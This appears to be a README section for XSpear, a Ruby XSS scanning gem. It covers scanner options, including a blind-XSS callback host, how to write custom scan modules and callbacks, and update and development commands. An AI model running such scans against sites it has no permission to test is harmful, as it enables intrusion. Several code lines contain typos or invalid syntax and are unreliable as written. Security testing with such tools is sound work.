Usage on ruby code (gem library)

require 'XSPear'
 
# Set options
options = {}
options['thread'] = 30
options['cookie'] = "data=123"
options['blind'] = "https://hahwul.xss.ht"
options['output'] = json
 
# Create XSpear object with url, options
s = XspearScan.new "https://www.hahwul.com?target_url", options
 
# Scanning
s.run
result = s.report.to_json
r = JSON.parse resul 

Add Scanning Module

1) Add makeQueryPattern

makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
# type: f(ilterd?) r(eflected?) x(ss?)
# category i(nfo) v(uln) l(ow) m(edium) h(igh) 
 
# e.g 
# makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch) 

2) if other callback, write callback class override ScanCallbackFunc e.g

class CallbackStringMatch < ScanCallbackFunc
   def run
     if @response.body.include? @query
       [true, "reflected #{@query}"]
      else
        [false, "not reflected #{@query}"]
      end
    end
  end 

Parent class(ScanCallbackFunc)

class ScanCallbackFunc()
  def initialize(url, method, query, response)
    @url = url
    @method = method
    @query = query
    @response = response
    # self.run
  end
    
  def run
    # override
  end
end 

Common Callback Class

  • CallbackXSSSelenium
  • CallbackErrorPatternMatch
  • CallbackCheckHeaders
  • CallbackStringMatch
  • CallbackNotAdded etc…

Update

if nomal user

$ gem update XSpear

if developers (soft)

$ git pull -v

if develpers (hard)

$ git reset –hard HEAD; git pull -v

Development

After checking out the repo, run bin/setup to install dependencies. Then, run rake spec to run the tests. You can also run bin/console for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run bundle exec rake install. To release a new version, update the version number in version.rb, and then run bundle exec rake release, which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org.
